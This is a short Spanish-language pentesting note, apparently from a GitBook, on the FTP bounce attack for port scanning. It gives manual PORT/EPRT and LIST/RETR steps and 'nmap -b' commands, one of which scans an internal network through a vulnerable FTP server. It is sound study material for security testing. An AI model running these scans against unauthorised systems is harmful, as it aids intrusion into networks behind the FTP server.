---
description: >-
  Explotar el FTP Bounce Attack para escanear puertos a través de una conexión
  FTP
---

# FTP BOUNCE ATTACK - ESCANEO

{% embed url="https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp/ftp-bounce-attack" %}

## MANUAL

1. Conectar con la FTP vulnerable.
2. Utilizar **PORT** o **EPRT** (solo unos de ellos) para hacer al servidor establecer una conexión con la `<IP:PUERTO>` que se quiere escanear:\
   `PORT 172,32,80,80,0,8080`\
   `EPRT |2|172.32.80.80|8080|`
3. Utilizar **LIST**. Esto mandará a la conexión `<IP:PUERTO>` la lista de archivos en la carpeta actual del FTP y espera respuesta: \
   `150 File status okay` Esto quiere decir que el puerto está **abierto**.\
   `425 No connection established` Esto quiere decir que el puerto está **cerrado**.
4. En lugar de **LIST** se puede utilizar **RETR** /file/in/ftp y esperar una **respuesta similar** a la de LIST.

Ejemplo utilizando **PORT** (Puerto 8080 abierto / Puerto 7777 cerrado):

<figure><img src="https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2FegKW5WwmeCiX20VywiKm%2Fimage.png?alt=media&#x26;token=d30fe4fa-559b-4ce1-a906-469008da8545" alt=""><figcaption></figcaption></figure>

Ejemplo con **EPRT** (Puerto 8080 abierto / Puerto 7777 cerrado):

<figure><img src="https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2FV8gsOqOP6C5or0f2VY3E%2Fimage.png?alt=media&#x26;token=98e2c4b2-4051-46eb-b85d-6be8348aa874" alt=""><figcaption></figcaption></figure>

Ejemplo con **RETR** en vez de LIST:

<figure><img src="https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhLaK1R01rLyFh-Jcoj%2Fuploads%2FZkGEW3Lw7frHyMr1GI1x%2Fimage.png?alt=media&#x26;token=7b89622c-9037-40d1-ba95-987d268dd4b4" alt=""><figcaption></figcaption></figure>

## NMAP

```
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
